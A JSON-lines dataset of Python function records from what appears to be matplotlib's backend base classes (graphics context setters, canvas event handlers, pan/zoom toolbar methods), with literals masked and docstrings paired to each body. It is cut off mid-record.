{"signature": "def set_clip_path(self, path):", "body": "assert path is None or isinstance(path, transforms.TransformedPath)<EOL>self._clippath = path<EOL>", "docstring": "Set the clip path and transformation.  Path should be a\n:class:`~matplotlib.transforms.TransformedPath` instance.", "id": "f17207:c1:m18"}
{"signature": "def set_dashes(self, dash_offset, dash_list):", "body": "self._dashes = dash_offset, dash_list<EOL>", "docstring": "Set the dash style for the gc.\n\n*dash_offset*\n    is the offset (usually 0).\n\n*dash_list*\n    specifies the on-off sequence as points.  ``(None, None)`` specifies a solid line", "id": "f17207:c1:m19"}
{"signature": "def set_foreground(self, fg, isRGB=False):", "body": "if isRGB:<EOL><INDENT>self._rgb = fg<EOL><DEDENT>else:<EOL><INDENT>self._rgb = colors.colorConverter.to_rgba(fg)<EOL><DEDENT>", "docstring": "Set the foreground color.  fg can be a matlab format string, a\nhtml hex color string, an rgb unit tuple, or a float between 0\nand 1.  In the latter case, grayscale is used.\n\nThe :class:`GraphicsContextBase` converts colors to rgb\ninternally.  If you know the color is rgb already, you can set\n``isRGB=True`` to avoid the performace hit of the conversion", "id": "f17207:c1:m20"}
{"signature": "def set_graylevel(self, frac):", "body": "self._rgb = (frac, frac, frac)<EOL>", "docstring": "Set the foreground color to be a gray level with *frac*", "id": "f17207:c1:m21"}
{"signature": "def set_joinstyle(self, js):", "body": "if js in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self._joinstyle = js<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % js)<EOL><DEDENT>", "docstring": "Set the join style to be one of ('miter', 'round', 'bevel')", "id": "f17207:c1:m22"}
{"signature": "def set_linewidth(self, w):", "body": "self._linewidth = w<EOL>", "docstring": "Set the linewidth in points", "id": "f17207:c1:m23"}
{"signature": "def set_linestyle(self, style):", "body": "try:<EOL><INDENT>offset, dashes = self.dashd[style]<EOL><DEDENT>except:<EOL><INDENT>raise ValueError('<STR_LIT>' % style)<EOL><DEDENT>self._linestyle = style<EOL>self.set_dashes(offset, dashes)<EOL>", "docstring": "Set the linestyle to be one of ('solid', 'dashed', 'dashdot',\n'dotted').", "id": "f17207:c1:m24"}
{"signature": "def set_url(self, url):", "body": "self._url = url<EOL>", "docstring": "Sets the url for links in compatible backends", "id": "f17207:c1:m25"}
{"signature": "def set_snap(self, snap):", "body": "self._snap = snap<EOL>", "docstring": "Sets the snap setting which may be:\n\n  * True: snap vertices to the nearest pixel center\n\n  * False: leave vertices as-is\n\n  * None: (auto) If the path contains only rectilinear line\n    segments, round to the nearest pixel center", "id": "f17207:c1:m26"}
{"signature": "def set_hatch(self, hatch):", "body": "self._hatch = hatch<EOL>", "docstring": "Sets the hatch style for filling", "id": "f17207:c1:m27"}
{"signature": "def get_hatch(self):", "body": "return self._hatch<EOL>", "docstring": "Gets the current hatch style", "id": "f17207:c1:m28"}
{"signature": "def __init__(self, name, canvas, x, y,guiEvent=None):", "body": "Event.__init__(self, name, canvas,guiEvent=guiEvent)<EOL>self.x = x<EOL>self.y = y<EOL>if x is None or y is None:<EOL><INDENT>self.inaxes = None<EOL>self._update_enter_leave()<EOL>return<EOL><DEDENT>axes_list = [a for a in self.canvas.figure.get_axes() if a.in_axes(self)]<EOL>if len(axes_list) == <NUM_LIT:0>: <EOL><INDENT>self.inaxes = None<EOL>self._update_enter_leave()<EOL>return<EOL><DEDENT>elif (len(axes_list) > <NUM_LIT:1>): <EOL><INDENT>axCmp = lambda _x,_y: cmp(_x.zorder, _y.zorder)<EOL>axes_list.sort(axCmp)<EOL>self.inaxes = axes_list[-<NUM_LIT:1>] <EOL><DEDENT>else: <EOL><INDENT>self.inaxes = axes_list[<NUM_LIT:0>]<EOL><DEDENT>try:<EOL><INDENT>xdata, ydata = self.inaxes.transData.inverted().transform_point((x, y))<EOL><DEDENT>except ValueError:<EOL><INDENT>self.xdata  = None<EOL>self.ydata  = None<EOL><DEDENT>else:<EOL><INDENT>self.xdata  = xdata<EOL>self.ydata  = ydata<EOL><DEDENT>self._update_enter_leave()<EOL>", "docstring": "*x*, *y* in figure coords, 0,0 = bottom, left", "id": "f17207:c6:m0"}
{"signature": "def _update_enter_leave(self):", "body": "if LocationEvent.lastevent is not None:<EOL><INDENT>last = LocationEvent.lastevent<EOL>if last.inaxes!=self.inaxes:<EOL><INDENT>if last.inaxes is not None:<EOL><INDENT>last.canvas.callbacks.process('<STR_LIT>', last)<EOL><DEDENT>if self.inaxes is not None:<EOL><INDENT>self.canvas.callbacks.process('<STR_LIT>', self)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if self.inaxes is not None:<EOL><INDENT>self.canvas.callbacks.process('<STR_LIT>', self)<EOL><DEDENT><DEDENT>LocationEvent.lastevent = self<EOL>", "docstring": "process the figure/axes enter leave events", "id": "f17207:c6:m1"}
{"signature": "def __init__(self, name, canvas, x, y, button=None, key=None,<EOL>step=<NUM_LIT:0>, guiEvent=None):", "body": "LocationEvent.__init__(self, name, canvas, x, y, guiEvent=guiEvent)<EOL>self.button = button<EOL>self.key = key<EOL>self.step = step<EOL>", "docstring": "x, y in figure coords, 0,0 = bottom, left\nbutton pressed None, 1, 2, 3, 'up', 'down'", "id": "f17207:c7:m0"}
{"signature": "def onRemove(self, ev):", "body": "def sort_artists(artists):<EOL><INDENT>L = [ (h.zorder, h) for h in artists ]<EOL>L.sort()<EOL>return [ h for zorder, h in L ]<EOL><DEDENT>under = sort_artists(self.figure.hitlist(ev))<EOL>h = None<EOL>if under: h = under[-<NUM_LIT:1>]<EOL>while h:<EOL><INDENT>print(\"<STR_LIT>\",h)<EOL>if h.remove():<EOL><INDENT>self.draw_idle()<EOL>break<EOL><DEDENT>parent = None<EOL>for p in under:<EOL><INDENT>if h in p.get_children():<EOL><INDENT>parent = p<EOL>break<EOL><DEDENT><DEDENT>h = parent<EOL><DEDENT>", "docstring": "Mouse event processor which removes the top artist\nunder the cursor.  Connect this to the 'mouse_press_event'\nusing::\n\n    canvas.mpl_connect('mouse_press_event',canvas.onRemove)", "id": "f17207:c10:m1"}
{"signature": "def onHilite(self, ev):", "body": "if not hasattr(self,'<STR_LIT>'): self._active = dict()<EOL>under = self.figure.hitlist(ev)<EOL>enter = [a for a in under if a not in self._active]<EOL>leave = [a for a in self._active if a not in under]<EOL>print(\"<STR_LIT>\",\"<STR_LIT:U+0020>\".join([str(x) for x in under]))<EOL>for a in leave:<EOL><INDENT>if hasattr(a,'<STR_LIT>'):<EOL><INDENT>a.set_color(self._active[a])<EOL><DEDENT>elif hasattr(a,'<STR_LIT>'):<EOL><INDENT>a.set_edgecolor(self._active[a][<NUM_LIT:0>])<EOL>a.set_facecolor(self._active[a][<NUM_LIT:1>])<EOL><DEDENT>del self._active[a]<EOL><DEDENT>for a in enter:<EOL><INDENT>if hasattr(a,'<STR_LIT>'):<EOL><INDENT>self._active[a] = a.get_color()<EOL><DEDENT>elif hasattr(a,'<STR_LIT>'):<EOL><INDENT>self._active[a] = (a.get_edgecolor(),a.get_facecolor())<EOL><DEDENT>else: self._active[a] = None<EOL><DEDENT>for a in enter:<EOL><INDENT>if hasattr(a,'<STR_LIT>'):<EOL><INDENT>a.set_color('<STR_LIT>')<EOL><DEDENT>elif hasattr(a,'<STR_LIT>'):<EOL><INDENT>a.set_edgecolor('<STR_LIT>')<EOL>a.set_facecolor('<STR_LIT>')<EOL><DEDENT>else: self._active[a] = None<EOL><DEDENT>self.draw_idle()<EOL>", "docstring": "Mouse event processor which highlights the artists\nunder the cursor.  Connect this to the 'motion_notify_event'\nusing::\n\n    canvas.mpl_connect('motion_notify_event',canvas.onHilite)", "id": "f17207:c10:m2"}
{"signature": "def blit(self, bbox=None):", "body": "pass<EOL>", "docstring": "blit the canvas in bbox (default entire canvas)", "id": "f17207:c10:m4"}
{"signature": "def resize(self, w, h):", "body": "pass<EOL>", "docstring": "set the canvas size in pixels", "id": "f17207:c10:m5"}
{"signature": "def draw_event(self, renderer):", "body": "s = '<STR_LIT>'<EOL>event = DrawEvent(s, self, renderer)<EOL>self.callbacks.process(s, event)<EOL>", "docstring": "This method will be call all functions connected to the\n'draw_event' with a :class:`DrawEvent`", "id": "f17207:c10:m6"}
{"signature": "def resize_event(self):", "body": "s = '<STR_LIT>'<EOL>event = ResizeEvent(s, self)<EOL>self.callbacks.process(s, event)<EOL>", "docstring": "This method will be call all functions connected to the\n'resize_event' with a :class:`ResizeEvent`", "id": "f17207:c10:m7"}
{"signature": "def key_press_event(self, key, guiEvent=None):", "body": "self._key = key<EOL>s = '<STR_LIT>'<EOL>event = KeyEvent(s, self, key, self._lastx, self._lasty, guiEvent=guiEvent)<EOL>self.callbacks.process(s, event)<EOL>", "docstring": "This method will be call all functions connected to the\n'key_press_event' with a :class:`KeyEvent`", "id": "f17207:c10:m8"}
{"signature": "def key_release_event(self, key, guiEvent=None):", "body": "s = '<STR_LIT>'<EOL>event = KeyEvent(s, self, key, self._lastx, self._lasty, guiEvent=guiEvent)<EOL>self.callbacks.process(s, event)<EOL>self._key = None<EOL>", "docstring": "This method will be call all functions connected to the\n'key_release_event' with a :class:`KeyEvent`", "id": "f17207:c10:m9"}
{"signature": "def pick_event(self, mouseevent, artist, **kwargs):", "body": "s = '<STR_LIT>'<EOL>event = PickEvent(s, self, mouseevent, artist, **kwargs)<EOL>self.callbacks.process(s, event)<EOL>", "docstring": "This method will be called by artists who are picked and will\nfire off :class:`PickEvent` callbacks registered listeners", "id": "f17207:c10:m10"}
{"signature": "def scroll_event(self, x, y, step, guiEvent=None):", "body": "if step >= <NUM_LIT:0>:<EOL><INDENT>self._button = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self._button = '<STR_LIT>'<EOL><DEDENT>s = '<STR_LIT>'<EOL>mouseevent = MouseEvent(s, self, x, y, self._button, self._key,<EOL>step=step, guiEvent=guiEvent)<EOL>self.callbacks.process(s, mouseevent)<EOL>", "docstring": "Backend derived classes should call this function on any\nscroll wheel event.  x,y are the canvas coords: 0,0 is lower,\nleft.  button and key are as defined in MouseEvent.\n\nThis method will be call all functions connected to the\n'scroll_event' with a :class:`MouseEvent` instance.", "id": "f17207:c10:m11"}
{"signature": "def button_press_event(self, x, y, button, guiEvent=None):", "body": "self._button = button<EOL>s = '<STR_LIT>'<EOL>mouseevent = MouseEvent(s, self, x, y, button, self._key, guiEvent=guiEvent)<EOL>self.callbacks.process(s, mouseevent)<EOL>", "docstring": "Backend derived classes should call this function on any mouse\nbutton press.  x,y are the canvas coords: 0,0 is lower, left.\nbutton and key are as defined in :class:`MouseEvent`.\n\nThis method will be call all functions connected to the\n'button_press_event' with a :class:`MouseEvent` instance.", "id": "f17207:c10:m12"}
{"signature": "def button_release_event(self, x, y, button, guiEvent=None):", "body": "s = '<STR_LIT>'<EOL>event = MouseEvent(s, self, x, y, button, self._key, guiEvent=guiEvent)<EOL>self.callbacks.process(s, event)<EOL>self._button = None<EOL>", "docstring": "Backend derived classes should call this function on any mouse\nbutton release.\n\n*x*\n    the canvas coordinates where 0=left\n\n*y*\n    the canvas coordinates where 0=bottom\n\n*guiEvent*\n    the native UI event that generated the mpl event\n\n\nThis method will be call all functions connected to the\n'button_release_event' with a :class:`MouseEvent` instance.", "id": "f17207:c10:m13"}
{"signature": "def motion_notify_event(self, x, y, guiEvent=None):", "body": "self._lastx, self._lasty = x, y<EOL>s = '<STR_LIT>'<EOL>event = MouseEvent(s, self, x, y, self._button, self._key,<EOL>guiEvent=guiEvent)<EOL>self.callbacks.process(s, event)<EOL>", "docstring": "Backend derived classes should call this function on any\nmotion-notify-event.\n\n*x*\n    the canvas coordinates where 0=left\n\n*y*\n    the canvas coordinates where 0=bottom\n\n*guiEvent*\n    the native UI event that generated the mpl event\n\n\nThis method will be call all functions connected to the\n'motion_notify_event' with a :class:`MouseEvent` instance.", "id": "f17207:c10:m14"}
{"signature": "def leave_notify_event(self, guiEvent=None):", "body": "self.callbacks.process('<STR_LIT>', LocationEvent.lastevent)<EOL>LocationEvent.lastevent = None<EOL>", "docstring": "Backend derived classes should call this function when leaving\ncanvas\n\n*guiEvent*\n    the native UI event that generated the mpl event", "id": "f17207:c10:m15"}
{"signature": "def enter_notify_event(self, guiEvent=None):", "body": "event = Event('<STR_LIT>', self, guiEvent)<EOL>self.callbacks.process('<STR_LIT>', event)<EOL>", "docstring": "Backend derived classes should call this function when entering\ncanvas\n\n*guiEvent*\n    the native UI event that generated the mpl event", "id": "f17207:c10:m16"}
{"signature": "def idle_event(self, guiEvent=None):", "body": "s = '<STR_LIT>'<EOL>event = IdleEvent(s, self, guiEvent=guiEvent)<EOL>self.callbacks.process(s, event)<EOL>", "docstring": "call when GUI is idle", "id": "f17207:c10:m17"}
{"signature": "def draw(self, *args, **kwargs):", "body": "pass<EOL>", "docstring": "Render the :class:`~matplotlib.figure.Figure`", "id": "f17207:c10:m18"}
{"signature": "def draw_idle(self, *args, **kwargs):", "body": "self.draw(*args, **kwargs)<EOL>", "docstring": ":meth:`draw` only if idle; defaults to draw but backends can overrride", "id": "f17207:c10:m19"}
{"signature": "def draw_cursor(self, event):", "body": "pass<EOL>", "docstring": "Draw a cursor in the event.axes if inaxes is not None.  Use\nnative GUI drawing for efficiency if possible", "id": "f17207:c10:m20"}
{"signature": "def get_width_height(self):", "body": "return int(self.figure.bbox.width), int(self.figure.bbox.height)<EOL>", "docstring": "return the figure width and height in points or pixels\n(depending on the backend), truncated to integers", "id": "f17207:c10:m21"}
{"signature": "def print_figure(self, filename, dpi=None, facecolor='<STR_LIT:w>', edgecolor='<STR_LIT:w>',<EOL>orientation='<STR_LIT>', format=None, **kwargs):", "body": "if format is None:<EOL><INDENT>if cbook.is_string_like(filename):<EOL><INDENT>format = os.path.splitext(filename)[<NUM_LIT:1>][<NUM_LIT:1>:]<EOL><DEDENT>if format is None or format == '<STR_LIT>':<EOL><INDENT>format = self.get_default_filetype()<EOL>if cbook.is_string_like(filename):<EOL><INDENT>filename = filename.rstrip('<STR_LIT:.>') + '<STR_LIT:.>' + format<EOL><DEDENT><DEDENT><DEDENT>format = format.lower()<EOL>method_name = '<STR_LIT>' % format<EOL>if (format not in self.filetypes or<EOL>not hasattr(self, method_name)):<EOL><INDENT>formats = list(self.filetypes.keys())<EOL>formats.sort()<EOL>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (format, '<STR_LIT:U+002CU+0020>'.join(formats)))<EOL><DEDENT>if dpi is None:<EOL><INDENT>dpi = rcParams['<STR_LIT>']<EOL><DEDENT>origDPI = self.figure.dpi<EOL>origfacecolor = self.figure.get_facecolor()<EOL>origedgecolor = self.figure.get_edgecolor()<EOL>self.figure.dpi = dpi<EOL>self.figure.set_facecolor(facecolor)<EOL>self.figure.set_edgecolor(edgecolor)<EOL>try:<EOL><INDENT>result = getattr(self, method_name)(<EOL>filename,<EOL>dpi=dpi,<EOL>facecolor=facecolor,<EOL>edgecolor=edgecolor,<EOL>orientation=orientation,<EOL>**kwargs)<EOL><DEDENT>finally:<EOL><INDENT>self.figure.dpi = origDPI<EOL>self.figure.set_facecolor(origfacecolor)<EOL>self.figure.set_edgecolor(origedgecolor)<EOL>self.figure.set_canvas(self)<EOL><DEDENT>return result<EOL>", "docstring": "Render the figure to hardcopy. Set the figure patch face and edge\ncolors.  This is useful because some of the GUIs have a gray figure\nface color background and you'll probably want to override this on\nhardcopy.\n\nArguments are:\n\n*filename*\n    can also be a file object on image backends\n\n*orientation*\n    only currently applies to PostScript printing.\n\n*dpi*\n    the dots per inch to save the figure in; if None, use savefig.dpi\n\n*facecolor*\n    the facecolor of the figure\n\n*edgecolor*\n    the edgecolor of the figure\n\n*orientation*  '\n    landscape' | 'portrait' (not supported on all backends)\n\n*format*\n    when set, forcibly set the file format to save to", "id": "f17207:c10:m32"}
{"signature": "def set_window_title(self, title):", "body": "if hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.manager.set_window_title(title)<EOL><DEDENT>", "docstring": "Set the title text of the window containing the figure.  Note that\nthis has no effect if there is no window (eg, a PS backend).", "id": "f17207:c10:m34"}
{"signature": "def switch_backends(self, FigureCanvasClass):", "body": "newCanvas = FigureCanvasClass(self.figure)<EOL>return newCanvas<EOL>", "docstring": "instantiate an instance of FigureCanvasClass\n\nThis is used for backend switching, eg, to instantiate a\nFigureCanvasPS from a FigureCanvasGTK.  Note, deep copying is\nnot done, so any changes to one of the instances (eg, setting\nfigure size or line props), will be reflected in the other", "id": "f17207:c10:m35"}
{"signature": "def mpl_connect(self, s, func):", "body": "return self.callbacks.connect(s, func)<EOL>", "docstring": "Connect event with string *s* to *func*.  The signature of *func* is::\n\n  def func(event)\n\nwhere event is a :class:`matplotlib.backend_bases.Event`.  The\nfollowing events are recognized\n\n- 'button_press_event'\n- 'button_release_event'\n- 'draw_event'\n- 'key_press_event'\n- 'key_release_event'\n- 'motion_notify_event'\n- 'pick_event'\n- 'resize_event'\n- 'scroll_event'\n\nFor the location events (button and key press/release), if the\nmouse is over the axes, the variable ``event.inaxes`` will be\nset to the :class:`~matplotlib.axes.Axes` the event occurs is\nover, and additionally, the variables ``event.xdata`` and\n``event.ydata`` will be defined.  This is the mouse location\nin data coords.  See\n:class:`~matplotlib.backend_bases.KeyEvent` and\n:class:`~matplotlib.backend_bases.MouseEvent` for more info.\n\nReturn value is a connection id that can be used with\n:meth:`~matplotlib.backend_bases.Event.mpl_disconnect`.\n\nExample usage::\n\n    def on_press(event):\n        print 'you pressed', event.button, event.xdata, event.ydata\n\n    cid = canvas.mpl_connect('button_press_event', on_press)", "id": "f17207:c10:m36"}
{"signature": "def mpl_disconnect(self, cid):", "body": "return self.callbacks.disconnect(cid)<EOL>", "docstring": "disconnect callback id cid\n\nExample usage::\n\n    cid = canvas.mpl_connect('button_press_event', on_press)\n    #...later\n    canvas.mpl_disconnect(cid)", "id": "f17207:c10:m37"}
{"signature": "def flush_events(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Flush the GUI events for the figure. Implemented only for\nbackends with GUIs.", "id": "f17207:c10:m38"}
{"signature": "def start_event_loop(self,timeout):", "body": "raise NotImplementedError<EOL>", "docstring": "Start an event loop.  This is used to start a blocking event\nloop so that interactive functions, such as ginput and\nwaitforbuttonpress, can wait for events.  This should not be\nconfused with the main GUI event loop, which is always running\nand has nothing to do with this.\n\nThis is implemented only for backends with GUIs.", "id": "f17207:c10:m39"}
{"signature": "def stop_event_loop(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Stop an event loop.  This is used to stop a blocking event\nloop so that interactive functions, such as ginput and\nwaitforbuttonpress, can wait for events.\n\nThis is implemented only for backends with GUIs.", "id": "f17207:c10:m40"}
{"signature": "def start_event_loop_default(self,timeout=<NUM_LIT:0>):", "body": "str = \"<STR_LIT>\"<EOL>str += \"<STR_LIT>\"<EOL>warnings.warn(str,DeprecationWarning)<EOL>if timeout <= <NUM_LIT:0>: timeout = np.inf<EOL>timestep = <NUM_LIT><EOL>counter = <NUM_LIT:0><EOL>self._looping = True<EOL>while self._looping and counter*timestep < timeout:<EOL><INDENT>self.flush_events()<EOL>time.sleep(timestep)<EOL>counter += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Start an event loop.  This is used to start a blocking event\nloop so that interactive functions, such as ginput and\nwaitforbuttonpress, can wait for events.  This should not be\nconfused with the main GUI event loop, which is always running\nand has nothing to do with this.\n\nThis function provides default event loop functionality based\non time.sleep that is meant to be used until event loop\nfunctions for each of the GUI backends can be written.  As\nsuch, it throws a deprecated warning.\n\nCall signature::\n\n    start_event_loop_default(self,timeout=0)\n\nThis call blocks until a callback function triggers\nstop_event_loop() or *timeout* is reached.  If *timeout* is\n<=0, never timeout.", "id": "f17207:c10:m41"}
{"signature": "def stop_event_loop_default(self):", "body": "self._looping = False<EOL>", "docstring": "Stop an event loop.  This is used to stop a blocking event\nloop so that interactive functions, such as ginput and\nwaitforbuttonpress, can wait for events.\n\nCall signature::\n\n  stop_event_loop_default(self)", "id": "f17207:c10:m42"}
{"signature": "def resize(self, w, h):", "body": "pass<EOL>", "docstring": "For gui backends: resize window in pixels", "id": "f17207:c11:m3"}
{"signature": "def show_popup(self, msg):", "body": "pass<EOL>", "docstring": "Display message in a popup -- GUI only", "id": "f17207:c11:m5"}
{"signature": "def set_window_title(self, title):", "body": "pass<EOL>", "docstring": "Set the title text of the window containing the figure.  Note that\nthis has no effect if there is no window (eg, a PS backend).", "id": "f17207:c11:m6"}
{"signature": "def set_message(self, s):", "body": "pass<EOL>", "docstring": "display a message on toolbar or in status bar", "id": "f17207:c13:m1"}
{"signature": "def back(self, *args):", "body": "self._views.back()<EOL>self._positions.back()<EOL>self.set_history_buttons()<EOL>self._update_view()<EOL>", "docstring": "move back up the view lim stack", "id": "f17207:c13:m2"}
{"signature": "def draw_rubberband(self, event, x0, y0, x1, y1):", "body": "pass<EOL>", "docstring": "draw a rectangle rubberband to indicate zoom limits", "id": "f17207:c13:m4"}
{"signature": "def forward(self, *args):", "body": "self._views.forward()<EOL>self._positions.forward()<EOL>self.set_history_buttons()<EOL>self._update_view()<EOL>", "docstring": "move forward in the view lim stack", "id": "f17207:c13:m5"}
{"signature": "def home(self, *args):", "body": "self._views.home()<EOL>self._positions.home()<EOL>self.set_history_buttons()<EOL>self._update_view()<EOL>", "docstring": "restore the original view", "id": "f17207:c13:m6"}
{"signature": "def _init_toolbar(self):", "body": "raise NotImplementedError<EOL>", "docstring": "This is where you actually build the GUI widgets (called by\n__init__).  The icons ``home.xpm``, ``back.xpm``, ``forward.xpm``,\n``hand.xpm``, ``zoom_to_rect.xpm`` and ``filesave.xpm`` are standard\nacross backends (there are ppm versions in CVS also).\n\nYou just need to set the callbacks\n\nhome         : self.home\nback         : self.back\nforward      : self.forward\nhand         : self.pan\nzoom_to_rect : self.zoom\nfilesave     : self.save_figure\n\nYou only need to define the last one - the others are in the base\nclass implementation.", "id": "f17207:c13:m7"}
{"signature": "def pan(self,*args):", "body": "<EOL>if self._active == '<STR_LIT>':<EOL><INDENT>self._active = None<EOL><DEDENT>else:<EOL><INDENT>self._active = '<STR_LIT>'<EOL><DEDENT>if self._idPress is not None:<EOL><INDENT>self._idPress = self.canvas.mpl_disconnect(self._idPress)<EOL>self.mode = '<STR_LIT>'<EOL><DEDENT>if self._idRelease is not None:<EOL><INDENT>self._idRelease = self.canvas.mpl_disconnect(self._idRelease)<EOL>self.mode = '<STR_LIT>'<EOL><DEDENT>if self._active:<EOL><INDENT>self._idPress = self.canvas.mpl_connect(<EOL>'<STR_LIT>', self.press_pan)<EOL>self._idRelease = self.canvas.mpl_connect(<EOL>'<STR_LIT>', self.release_pan)<EOL>self.mode = '<STR_LIT>'<EOL>self.canvas.widgetlock(self)<EOL><DEDENT>else:<EOL><INDENT>self.canvas.widgetlock.release(self)<EOL><DEDENT>for a in self.canvas.figure.get_axes():<EOL><INDENT>a.set_navigate_mode(self._active)<EOL><DEDENT>self.set_message(self.mode)<EOL>", "docstring": "Activate the pan/zoom tool. pan with left button, zoom with right", "id": "f17207:c13:m9"}
{"signature": "def press(self, event):", "body": "pass<EOL>", "docstring": "this will be called whenver a mouse button is pressed", "id": "f17207:c13:m10"}
{"signature": "def press_pan(self, event):", "body": "if event.button == <NUM_LIT:1>:<EOL><INDENT>self._button_pressed=<NUM_LIT:1><EOL><DEDENT>elif  event.button == <NUM_LIT:3>:<EOL><INDENT>self._button_pressed=<NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>self._button_pressed=None<EOL>return<EOL><DEDENT>x, y = event.x, event.y<EOL>if self._views.empty(): self.push_current()<EOL>self._xypress=[]<EOL>for i, a in enumerate(self.canvas.figure.get_axes()):<EOL><INDENT>if x is not None and y is not None and a.in_axes(event) and a.get_navigate():<EOL><INDENT>a.start_pan(x, y, event.button)<EOL>self._xypress.append((a, i))<EOL>self.canvas.mpl_disconnect(self._idDrag)<EOL>self._idDrag=self.canvas.mpl_connect('<STR_LIT>', self.drag_pan)<EOL><DEDENT><DEDENT>self.press(event)<EOL>", "docstring": "the press mouse button in pan/zoom mode callback", "id": "f17207:c13:m11"}
{"signature": "def press_zoom(self, event):", "body": "if event.button == <NUM_LIT:1>:<EOL><INDENT>self._button_pressed=<NUM_LIT:1><EOL><DEDENT>elif  event.button == <NUM_LIT:3>:<EOL><INDENT>self._button_pressed=<NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>self._button_pressed=None<EOL>return<EOL><DEDENT>x, y = event.x, event.y<EOL>if self._views.empty(): self.push_current()<EOL>self._xypress=[]<EOL>for i, a in enumerate(self.canvas.figure.get_axes()):<EOL><INDENT>if x is not None and y is not None and a.in_axes(event)and a.get_navigate() and a.can_zoom():<EOL><INDENT>self._xypress.append(( x, y, a, i, a.viewLim.frozen(), a.transData.frozen()))<EOL><DEDENT><DEDENT>self.press(event)<EOL>", "docstring": "the press mouse button in zoom to rect mode callback", "id": "f17207:c13:m12"}
{"signature": "def push_current(self):", "body": "lims = []; pos = []<EOL>for a in self.canvas.figure.get_axes():<EOL><INDENT>xmin, xmax = a.get_xlim()<EOL>ymin, ymax = a.get_ylim()<EOL>lims.append( (xmin, xmax, ymin, ymax) )<EOL>pos.append( (<EOL>a.get_position(True).frozen(),<EOL>a.get_position().frozen() ) )<EOL><DEDENT>self._views.push(lims)<EOL>self._positions.push(pos)<EOL>self.set_history_buttons()<EOL>", "docstring": "push the current view limits and position onto the stack", "id": "f17207:c13:m13"}
{"signature": "def release(self, event):", "body": "pass<EOL>", "docstring": "this will be called whenever mouse button is released", "id": "f17207:c13:m14"}
{"signature": "def release_pan(self, event):", "body": "self.canvas.mpl_disconnect(self._idDrag)<EOL>self._idDrag=self.canvas.mpl_connect('<STR_LIT>', self.mouse_move)<EOL>for a, ind in self._xypress:<EOL><INDENT>a.end_pan()<EOL><DEDENT>if not self._xypress: return<EOL>self._xypress = []<EOL>self._button_pressed=None<EOL>self.push_current()<EOL>self.release(event)<EOL>self.draw()<EOL>", "docstring": "the release mouse button callback in pan/zoom mode", "id": "f17207:c13:m15"}
{"signature": "def drag_pan(self, event):", "body": "for a, ind in self._xypress:<EOL><INDENT>a.drag_pan(self._button_pressed, event.key, event.x, event.y)<EOL><DEDENT>self.dynamic_update()<EOL>", "docstring": "the drag callback in pan/zoom mode", "id": "f17207:c13:m16"}
{"signature": "def release_zoom(self, event):", "body": "if not self._xypress: return<EOL>last_a = []<EOL>for cur_xypress in self._xypress:<EOL><INDENT>x, y = event.x, event.y<EOL>lastx, lasty, a, ind, lim, trans = cur_xypress<EOL>if abs(x-lastx)<<NUM_LIT:5> or abs(y-lasty)<<NUM_LIT:5>:<EOL><INDENT>self._xypress = None<EOL>self.release(event)<EOL>self.draw()<EOL>return<EOL><DEDENT>x0, y0, x1, y1 = lim.extents<EOL>inverse = a.transData.inverted()<EOL>lastx, lasty = inverse.transform_point( (lastx, lasty) )<EOL>x, y = inverse.transform_point( (x, y) )<EOL>Xmin,Xmax=a.get_xlim()<EOL>Ymin,Ymax=a.get_ylim()<EOL>twinx, twiny = False, False<EOL>if last_a:<EOL><INDENT>for la in last_a:<EOL><INDENT>if a.get_shared_x_axes().joined(a,la): twinx=True<EOL>if a.get_shared_y_axes().joined(a,la): twiny=True<EOL><DEDENT><DEDENT>last_a.append(a)<EOL>if twinx:<EOL><INDENT>x0, x1 = Xmin, Xmax<EOL><DEDENT>else:<EOL><INDENT>if Xmin < Xmax:<EOL><INDENT>if x<lastx:  x0, x1 = x, lastx<EOL>else: x0, x1 = lastx, x<EOL>if x0 < Xmin: x0=Xmin<EOL>if x1 > Xmax: x1=Xmax<EOL><DEDENT>else:<EOL><INDENT>if x>lastx:  x0, x1 = x, lastx<EOL>else: x0, x1 = lastx, x<EOL>if x0 > Xmin: x0=Xmin<EOL>if x1 < Xmax: x1=Xmax<EOL><DEDENT><DEDENT>if twiny:<EOL><INDENT>y0, y1 = Ymin, Ymax<EOL><DEDENT>else:<EOL><INDENT>if Ymin < Ymax:<EOL><INDENT>if y<lasty:  y0, y1 = y, lasty<EOL>else: y0, y1 = lasty, y<EOL>if y0 < Ymin: y0=Ymin<EOL>if y1 > Ymax: y1=Ymax<EOL><DEDENT>else:<EOL><INDENT>if y>lasty:  y0, y1 = y, lasty<EOL>else: y0, y1 = lasty, y<EOL>if y0 > Ymin: y0=Ymin<EOL>if y1 < Ymax: y1=Ymax<EOL><DEDENT><DEDENT>if self._button_pressed == <NUM_LIT:1>:<EOL><INDENT>a.set_xlim((x0, x1))<EOL>a.set_ylim((y0, y1))<EOL><DEDENT>elif self._button_pressed == <NUM_LIT:3>:<EOL><INDENT>if a.get_xscale()=='<STR_LIT>':<EOL><INDENT>alpha=np.log(Xmax/Xmin)/np.log(x1/x0)<EOL>rx1=pow(Xmin/x0,alpha)*Xmin<EOL>rx2=pow(Xmax/x0,alpha)*Xmin<EOL><DEDENT>else:<EOL><INDENT>alpha=(Xmax-Xmin)/(x1-x0)<EOL>rx1=alpha*(Xmin-x0)+Xmin<EOL>rx2=alpha*(Xmax-x0)+Xmin<EOL><DEDENT>if a.get_yscale()=='<STR_LIT>':<EOL><INDENT>alpha=np.log(Ymax/Ymin)/np.log(y1/y0)<EOL>ry1=pow(Ymin/y0,alpha)*Ymin<EOL>ry2=pow(Ymax/y0,alpha)*Ymin<EOL><DEDENT>else:<EOL><INDENT>alpha=(Ymax-Ymin)/(y1-y0)<EOL>ry1=alpha*(Ymin-y0)+Ymin<EOL>ry2=alpha*(Ymax-y0)+Ymin<EOL><DEDENT>a.set_xlim((rx1, rx2))<EOL>a.set_ylim((ry1, ry2))<EOL><DEDENT><DEDENT>self.draw()<EOL>self._xypress = None<EOL>self._button_pressed = 